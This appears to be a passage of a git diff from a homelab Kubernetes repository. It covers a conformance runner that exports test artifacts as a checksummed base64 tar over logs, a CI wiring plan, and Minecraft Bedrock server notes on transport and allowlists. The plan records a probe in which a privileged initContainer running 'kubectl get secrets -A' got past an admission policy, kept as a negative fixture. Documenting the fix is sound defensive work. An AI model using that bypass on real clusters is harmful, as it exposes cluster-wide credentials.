# conformance/_artifacts (the Job mounts a `results`
# volume, which cannot sit inside the git-clone target).
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
# checksummed base64 tar of the artifact tree to STDOUT,
# because `kubectl logs` is the only channel CI has out of
# the Job (no pods/exec, no kubectl cp). See the RESULTS
# TRANSPORT block below for the envelope and for the five
# checks a collector MUST make. Never set this locally.
#
# Run ledger (TRACKED — commit these; --record only):
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
# shellcheck source=versions.env
source "${CONF_ROOT}/versions.env"
ARTIFACTS="${CONF_ROOT}/_artifacts"
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
# path, because that path is inside the directory the init container `git clone`s into and
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
# a local run is byte-identical to what it always was.
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
COVERAGE_OUT="${ARTIFACTS}/coverage"
STATUS_OUT="${ARTIFACTS}/status"
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
exit "${RUN_RC}"
fi
###############################################################################
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
#
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
# ships its JUnit — the red report is the evidence the gate needs most.
#
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
# needed to PROVE completeness, and carries it TWICE:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the .tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
# never as "no artifacts", never as a pass:
# 1. exactly one BEGIN line and exactly one END line;
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
# means two interleaved or re-emitted envelopes in one log;
# 3. the count of body lines between them equals lines=;
# 4. the decoded byte count equals bytes=;
# 5. sha256 of the decoded bytes equals sha256=.
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
# which is the whole design requirement.
#
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
# against the Job's completion condition instead of trusting either signal alone.
#
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
# entry changed with the environment would be a trap for the collector. It unpacks the
# contents wherever it likes.
#
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
###############################################################################
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
conf_emit_artifacts_tgz() {
local rc="${1:-0}"
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
# change the run's verdict — nothing here can turn a red run green or a green run red.
trap - EXIT
(
set +e
local tmp tgz b64 bytes lines sha payload
tmp="${TMPDIR:-/tmp}"
tgz="${tmp}/conformance-artifacts.$$.tgz"
b64="${tgz}.b64"
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
rm -f "${tgz}"
exit 0
fi
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
rm -f "${tgz}" "${b64}"
exit 0
fi
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
cat "${b64}"
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
rm -f "${tgz}" "${b64}"
exit 0
)
exit "${rc}"
}
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
# emits a second envelope into its child's tee'd log.
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
trap 'conf_emit_artifacts_tgz "$?"' EXIT
fi
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
gen_coverage() {
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
+42 -4
View File
@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
@@ -58,17 +58,42 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
## 3. Gaps to close (functional)
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
entrypoint path and the Job pins that uid — see §4.)*
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
`CHAINSAW_VERSION` as the single source of truth the image is built from.
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
install the entrypoint at that exact path) and provision that Secret (item 6).
Original text: → Add an
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
`--requirements` are injected by the CI trigger step as Job env/args.
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
still ships its red JUnit — that prints the artifact tree as a base64 tar between
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
collection instead of decoding to plausible garbage; the five checks the collector owes are
spelled out above that function. It lives in `run.sh` and not in the Job because admission
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
@@ -104,6 +129,19 @@ stack):**
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
same. Both are now covered by
`trigger-initcontainers-must-be-the-committed-clone-step` and
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
field that can carry executable intent, and a `pattern` over an array only asserts *at least
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
+10 -317
View File
@@ -21,7 +21,7 @@ Cilium L2 LoadBalancer (game protocols authenticate players themselves).
| PVC subPaths | `servers`→`/crafty/servers`, `backups`→`/crafty/backups`, `logs`→`/crafty/logs`, `import`→`/crafty/import`, `config`→`/crafty/app/config` |
| Identity | `runAsUser:1000 runAsGroup:0 fsGroup:0 runAsNonRoot:true` (see below) |
| Web host | `crafty.home.keithjackson.dev` → shared Gateway → `crafty` Service :80 → sidecar :4180 → Crafty :8443 |
| Game VIP | `${CRAFTY_L4_VIP}` (Cilium L2 LoadBalancer) — **prod `192.168.2.22`** (live `EXTERNAL-IP`, measured 2026-09-29); base/dev `192.168.1.55` |
| Game VIP | **192.168.1.55** (Cilium L2 LoadBalancer; `.53`=Gateway, `.54`=unifi, `.55`=crafty) |
| Game ports | starter set: **TCP 25565-25567** (Java), **UDP 19132-19134** (Bedrock) |
### fsGroup / user decision (the seerr lesson, applied)
@@ -76,16 +76,15 @@ can't span namespaces). Both are age-encrypted to the repo `sops-age` recipient
## Game-port L4 exposure
The Gateway is L7-HTTPS-only; raw TCP/UDP game ports can't ride it. `service-l4.yaml` exposes them as
two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP `${CRAFTY_L4_VIP}` (**prod
`192.168.2.22`**)
two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP **192.168.1.55**
(`lbipam.cilium.io/sharing-key: crafty`), ARP-announced by the existing `default-l2` policy. This path
is **NOT auth-gated** — Minecraft Java (Mojang/Microsoft) and Bedrock (Xbox Live) authenticate players
themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → ${CRAFTY_L4_VIP}`.
themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → 192.168.1.55`.
### Adding more game ports (when the operator creates servers)
As of 2026-09-29 **two** servers exist (see *Runtime state* below): Java `homelab` on 25565 and
Bedrock `K3s-Bedrock` on 19132. The starter set covers 3 Java + 3 Bedrock slots. To add capacity:
The operator has **not created any servers yet**; the starter set covers 3 Java + 3 Bedrock slots. To
add capacity:
1. In the Crafty UI, create the server and bind it to a NEW port (Java TCP or Bedrock UDP).
2. Add that port to the matching Service in `service-l4.yaml` (one
@@ -94,274 +93,6 @@ Bedrock `K3s-Bedrock` on 19132. The starter set covers 3 Java + 3 Bedrock slots.
4. (Optional) add a `containerPort` in `deployment.yaml` for documentation.
5. Commit → Flux reconciles.
### Bedrock on UDP 19132 — the transport trap, and the ERROR banner that is NOT a refusal (MEASURED on prod 2026-09-29)
Two traps in sequence. The first hides the UDP socket; the second frightens you into undoing the fix.
As of 2026-09-29 21:34 this server is **reachable on `19132/udp` and answering**, measured from
off-cluster. Read both traps before changing anything.
#### Trap 1 — `transport=nethernet` (the shipped default) opens no RakNet UDP listener
Measured 20:54–21:32 against `K3s-Bedrock` (`c5837301-12b1-404e-b50e-70eafb37226b`, DB
`type=minecraft-bedrock`, `server_port=19132`, process `./bedrock_server` alive):
- `/proc/net/udp` and `/proc/net/udp6` held **no socket on 19132** (`0x4ABC`) at all. Port 19132 was
bound as **TCP** (`/proc/net/tcp6`, `…:4ABC`, state `0A`/LISTEN), not UDP.
- That is nethernet working as designed, and the **shipped `bedrock_server_how_to.html`** — the
vendor's own doc, sitting on the PVC beside the binary — says exactly why: nethernet *"listens on a
single dual-stack **TCP** socket on `server-port` for an HTTP-based signaling handshake, then
negotiates a UDP connection with each client that carries the gameplay traffic."*
- **So nethernet could never have worked here anyway, on two independent counts:** `service-l4.yaml`
exposes 19132 **only in the UDP Service** (`crafty-l4-tcp` carries 25565-25567 and nothing else), and
`crafty-allow-ingress` allows `19132 UDP` and **not** `19132 TCP`. The signaling port was unreachable
at both the Service and the policy layer. The server's own `packet-statistics.txt` for that run
agrees: `Total Received: 0, 0B` over 2293 s.
- Crafty does not manage this property (`transport` appears nowhere under `/crafty/app/classes/`) and
its *only* Bedrock probe is `raknet_ping.py`, so the panel logged `WARNING
app.classes.remote_stats.raknet_ping - Got timeout while issuing bedrock ping to 127.0.0.1:19132`
every ~5 s — **155 such lines** — against a server it had started successfully.
#### Trap 2 — under `transport=raknet` this build prints a scary ERROR banner and then works anyway
The operator set `transport=raknet` at 21:33:31 (`/crafty/logs/audit.log`: `Edited file
/crafty/servers/c5837301-…/server.properties`) and started the server at 21:33:58. BDS **1.26.52**
printed, at ERROR level:
```
[ERROR] ================ TRANSPORT TYPE ERROR ===================
[ERROR] Your current connection type is not set to NetherNet. In this release, NetherNet is the only
supported transport type.
[ERROR] Players will not be able to connect to your game without NetherNet.
[ERROR] To switch, set 'transport=nethernet' in server.properties.
```
**That banner is advisory, not fatal. Do not revert `transport` on seeing it.** Every claim it makes
about connectivity was false on this cluster within five seconds of it being printed:
- The process **kept running** (`./bedrock_server`, pid 47006) and **bound the RakNet sockets**:
`/proc/net/udp` `00000000:4ABC` (19132, IPv4) and `/proc/net/udp6` `…:4ABD` (19133, IPv6), both owned
by `bedrock_server` — `/proc/47006/fd/25` and `fd/26` → those socket inodes. The earlier **TCP** bind
on `4ABC` is **gone**.
- Crafty's warning **changed kind** at that instant: last `Got timeout` at `21:34:04,306`, first
`Bedrock ping returned a string with too few fields` at `21:34:09,854`. That distinction is
load-bearing — read `raknet_ping.py`: `Got timeout` is emitted *only* when `sock.recv` raises
`TimeoutError` (nothing came back at all), whereas `too few fields` is reachable *only after* a
`0x1C` Unconnected Pong has arrived **and its magic has validated**. The server is answering pings.
- **End-to-end, from off-cluster:** a RakNet Unconnected Ping sent from the LAN to the prod VIP
`192.168.2.22:19132` returns a 139-byte `0x1c` Unconnected Pong in ~12 ms, magic valid:
MCPE;Dedicated Server;2193;1.26.52;0;10;11676629557768398479;Bedrock level;Survival;1;19132;19133;0;0;0;
Edition `MCPE`, protocol `2193`, version **`1.26.52`**, `0/10` players. **Players can reach this
server now**, through the VIP, the Service, and the CiliumNetworkPolicy, with no manifest change.
- The vendor doc on disk contradicts the banner and matches the observed behaviour. `transport` is
documented as *"Allowed values: raknet, nethernet"*, and: *"**raknet** — The traditional Bedrock UDP
transport. The server listens directly on `server-port` (IPv4) and `server-portv6` (IPv6), and
clients connect to that address and port."* RakNet is also still fully compiled into the binary —
`strings bedrock_server` yields `RakNetConnector`, `createUniqueRakPeer`, `RakPeerInterface` and the
vendored build path `…/src-deps/raknet/raknet/RakNetSocket2.cpp`.
So *"NetherNet is the only supported transport type"* is a **support statement, not a capability
statement**: Microsoft declines to support RakNet and ships it working. Treat the banner as a
deprecation notice with an **unknown expiry** — a future BDS may genuinely remove RakNet, and that is
the day this exposure needs GeyserMC (see *If RakNet is ever really removed* below).
> **The shipped-comment trap, stated plainly.** `server.properties` lists `raknet` as allowed and the
> binary logs an ERROR saying it is not supported. Both are the vendor, and they disagree. The tiebreak
> is neither prose: it is `/proc/net/udp` and a pong on the wire. Whenever this file says a Bedrock
> server is or is not reachable, it is because someone pinged it — not because a comment said so.
#### The steady-state `too few fields` warning is benign and is now the expected signature
Crafty will log `Bedrock ping returned a string with too few fields - missing values [None]` every
~5 s forever. **That means the ping SUCCEEDED.** BDS 1.26.52's pong carries 16 `;`-separated fields;
Crafty 4.10.8's `pingpong_string_fields` table knows 14 and expects the last to be an empty
terminator. It instead finds `'0'`, so `last_enumeration` stops at index 12 and the parser reports the
one `None` terminator entry as missing. Every field that matters (edition, MOTD, protocol, version
name, player count, max players, uuid, game mode, both ports) parsed correctly. **Do not chase this
warning.** The failure signature is the *other* message, `Got timeout`.
### "You are not invited to play on this server" — the join gate is the allowlist, not the network (MEASURED 2026-09-29 21:56; **RESOLVED and confirmed 22:03**)
A Bedrock client reported **"Unable to connect / You are not invited to play on this server"**. That is
an **authorization** refusal, and it is the expected, guaranteed behaviour of this server's current
configuration. Measured:
| Property / file | Value | Source |
|---|---|---|
| `allow-list` | **`true`** (line 37) | `server.properties` |
| `allowlist.json` | **`[]`** — 3 bytes, mtime 20:51, never edited since server create | `cat allowlist.json` |
| `online-mode` | `true` (line 31) | `server.properties` |
| `transport` | **`raknet`** (line 71), file mtime **still 21:33:31** | `server.properties` |
| TCP 19132 listener | **none** (`NO-TCP-4ABC`) | `grep 4ABC /proc/net/tcp /proc/net/tcp6` |
| UDP 19132 listener | present, `00000000:4ABC`, pid 47006 | `grep 4ABC /proc/net/udp` |
**`allow-list=true` with an empty `allowlist.json` refuses every player, unconditionally.** The shipped
`bedrock_server_how_to.html` states it: *"If the `allow-list` property is enabled in server.properties
then the server will only allow selected users to connect. To allow a user to connect you need to know
their Xbox Live **Gamertag**."* An empty list selects nobody. This is not a network problem, not a
transport problem, and not a platform problem — and no amount of Service or policy work will change it.
#### CONFIRMED: one gamertag added, and a player joined
**This is no longer a hypothesis. The fix was applied and it worked.** *(The join itself is
**operator-reported** — 2026-09-29, the operator added the player's gamertag and the Bedrock client
connected and joined. I did not watch it.)* Two independent things corroborate it **directly on disk**:
- `allowlist.json` went from `[]` to **one entry**, and that entry's **`xuid` is populated**
(`keys=['ignoresPlayerLimit','name','xuid']`, file 75 bytes, mtime **22:03:17**). Per the vendor doc,
`xuid` is *"Optional. If it's not set then it will be populated when someone with a matching name
**connects**."* The operator wrote only the name — `audit.log` records `Edited file
…/allowlist.json` at **22:02:13** — so **the XUID was written by the server, on connect, at 22:03:17**.
That is server-authored evidence of an Xbox-Live-authenticated join. *(Observed: the file state and
both timestamps. Reasoned from the vendor doc: that a populated XUID implies a connect.)*
- The RakNet path still answers after the restart this involved: a pong from `192.168.2.22:19132` at
22:06, `MCPE;…;1.26.52;0;10;…` (`players=0` — the player had left by then), new `server_guid` matching
the new pid.
**So the causal chain is closed: `allow-list=true` + `allowlist.json == []` was the wall, and nothing
else was.** The earlier mapping of the client's *"You are not invited"* string to the empty allowlist was
**reasoned** from the vendor doc (there is no BDS log on disk to read it from); adding exactly one
gamertag and getting exactly one successful join **confirms that mapping**. No transport change, no
manifest change, and no network change was involved in the fix.
> **Note the route the operator actually used:** they **edited `allowlist.json` directly** and then
> **restarted** the server (`audit.log`: edit 22:02:13 → `stop_server` 22:02:37 → `start_server`
> 22:02:41; pid 47006 → **47875**). That is route 2 below, and a restart is a valid substitute for
> `allowlist reload`. Route 1 (`allowlist add` in the console) avoids the restart and is still preferred.
**This is also positive evidence that the RakNet path works end to end.** A refusal authored by *our*
server required the client to reach our server and get an answer back. The only listener on 19132 is
the **RakNet UDP** socket — there is **no TCP 19132 listener at all**, and NetherNet requires a TCP
signalling socket on `server-port`. So the client cannot have used NetherNet against this server; it
arrived over `19132/udp`, through `crafty-l4-udp` and the VIP. **The 19132-19134/UDP exposure is not
inert — it is the path that carried both the pong and this refusal.** *(Observed: the listeners, the
absent TCP socket, `transport=raknet`. Reasoned from those: that the refusal traversed that path. Not
captured: the actual player flow — see the caveat below.)*
#### Caveat: BDS console output is NOT on disk, so a join attempt cannot be correlated from the filesystem
`K3s-Bedrock`'s `log_path` in `crafty.sqlite` is the **empty string**, and `Dedicated_Server.txt` is
**0 bytes**. Crafty does not persist a Bedrock server's stdout anywhere on the PVC — the console exists
only in the panel UI. `commander.log` between 21:39 and 21:56 contains nothing but `homelab`
crash-detection lines and the `raknet_ping` chatter: **no join, no gamertag, no XUID, no allowlist
denial.** That absence is **not** evidence about where the refusal came from; it is evidence that
Crafty logs no BDS stdout at all. **To see a rejected join you must watch the panel console live.**
UNVERIFIED, and only observable in the UI.
#### How a Bedrock player actually gets authorized here
Identity is an **Xbox Live Gamertag** (`online-mode=true` forces XBL auth, which is what gives BDS a
gamertag/XUID to check). `allowlist.json` is a JSON array; per the vendor doc the keys are `name` (the
gamertag), optional `xuid` (*"populated when someone with a matching name connects"*), and
`ignoresPlayerLimit`. So the operator adds **one entry per player, keyed on gamertag** — there is no
group, role, or Keycloak integration, and **none of this touches the oauth2-proxy/Keycloak gate**,
which protects only the web panel.
Three ways to do it, all **operator actions**. **Routes 1 and 2 are both proven** — route 2 is the one
that produced the confirmed join above:
1. **Preferred — the panel console.** In Crafty, open `K3s-Bedrock` → Console and send:
`allowlist add <Gamertag>` (quote it if it contains a space: `allowlist add "Example Name"`).
This writes `allowlist.json` **and** takes effect immediately, with no restart.
2. **Edit the file, then reload.** Write `/crafty/servers/c5837301-…/allowlist.json`, then send
`allowlist reload` in the console — *"After you've modified the file you need to run the command
`allowlist reload` to make sure that the server knows about your new change."* Shape:
```json
[
{ "ignoresPlayerLimit": false, "name": "FirstPlayerGamertag" },
{ "ignoresPlayerLimit": false, "name": "SecondPlayerGamertag" }
]
```
3. **Turn the allowlist off entirely** — `allow-list=false` in `server.properties` (restart), or
`allowlist off` in the console. Note the vendor's warning: `allowlist on|off` *"does not change the
value in the server.properties file"*, so a console `off` silently reverts on the next start.
**Not recommended:** the game port is deliberately un-gated at the network layer (see *Game-port L4
exposure*), so the allowlist is the **only** thing deciding who may join. Keep it `true` and enumerate
players.
> **`allowlist.json` is application state on the PVC**, exactly like `transport=raknet`. Neither is in
> git and **Flux can restore neither**. Be precise about what breaks them, because the two cases differ:
>
> - **A pod or server *restart* preserves both** — observed: the 22:02:48 restart (pid 47006 → 47875)
> kept `transport=raknet` (`server.properties` mtime unchanged at 21:33:31) and kept the allowlist
> entry. What a **pod** restart *does* break is that `K3s-Bedrock` has `auto_start=0`, so the Bedrock
> server simply **does not come back** until someone starts it by hand.
> - **A server *recreate* or reinstall silently resets both** — a fresh `server.properties` ships
> `transport=nethernet` (nothing bound on 19132/udp) and a fresh `allowlist.json` is `[]` (everyone
> refused). Neither change announces itself, and the server will look healthy and started in the panel
> while being unreachable *and* unjoinable.
>
> **Treat both files as backup-relevant, and re-run the 5-step connect procedure above after any Bedrock
> recreate or BDS update.**
#### Why this does not change the transport recommendation
`transport=raknet` is correct, and with the allowlist entry in place the combination is **proven
end-to-end by a player who has joined** — not merely the best-reasoned option. The allowlist refusal was
orthogonal to transport all along: it would have refused players identically under NetherNet. Switching
to NetherNet would *add* work (TCP 19132 in `crafty-l4-tcp` **and** in `crafty-allow-ingress`, plus
`server-udp-ports` pinned and exposed) and would admit **not one extra player**. The ranking below stands,
and option 1 is now settled rather than provisional.
#### Decision (PROVEN, not provisional): `transport=raknet` stays; the 19132-19134/UDP exposure is correct and live
No manifest change is needed or wanted. `service-l4.yaml`, `networkpolicy.yaml` and the
`containerPort`s were already shaped for exactly RakNet, and that shape is now **proven by a player who
has connected and joined over `192.168.2.22:19132`** — not assumed, and not merely reasoned. The options
that would have required manifest work are all **not recommended**:
| Option | Manifest consequence | Verdict |
|---|---|---|
| **Keep `transport=raknet`** + allowlist entries (**this is what works**) | **none** — the existing Service, policy and ports were already correct | **Done; proven.** A player has joined over the VIP. Zero manifest change, vanilla parity, real Bedrock world. |
| **GeyserMC + Floodgate** on the `homelab` Paper server | none either (Geyser also binds `19132/udp`), but it would **collide** with the live BDS on 19132 — one of them must move | Hold in reserve. Only worth it if RakNet is really removed, or if you *want* one shared world. Cost: Bedrock players join the **Java** world, not a Bedrock world; Java-only mechanics and some content differ; it is another moving part to patch. |
| **Pin/downgrade BDS** to a pre-nethernet release | none | Unnecessary — the *current* build already speaks RakNet. Also fragile: Microsoft removes old BDS downloads, and Crafty's Bedrock installer tracks latest. UNVERIFIED whether Crafty can pin a version at all. |
| **A third-party server** (PocketMine-MP, Nukkit) | none | No. Loses vanilla parity and the world format; a large change to solve a problem that is not occurring. |
| **Accept NetherNet** | 19132-19134/UDP becomes **inert**; nethernet would instead need **TCP** 19132 added to `crafty-l4-tcp` *and* to `crafty-allow-ingress`, plus `server-udp-ports` pinned and exposed for the negotiated media path | No — and note it is **not currently in use**: `transport=raknet` and there is no TCP 19132 listener. Strictly more manifest work than the option that already works, it admits no extra player (the allowlist is the gate), and WebRTC media behind a shared VIP and SNAT is unproven here. |
#### If RakNet is ever really removed
Then BDS opens no UDP listener and this exposure has nothing to bind to — an architecture problem, not
a config one. The migration is **GeyserMC + Floodgate as a plugin on the existing `homelab` Paper
server**, because Geyser speaks RakNet on `19132/udp` itself: the VIP, the Service, the policy and the
`containerPort`s all stay **byte-for-byte as they are**, and Bedrock clients keep connecting to
`crafty-mc.home.keithjackson.dev:19132`. What changes is the world: Bedrock players land in the Java
world via Floodgate (no Xbox-authenticated Bedrock account needed on the Java side), the Bedrock server
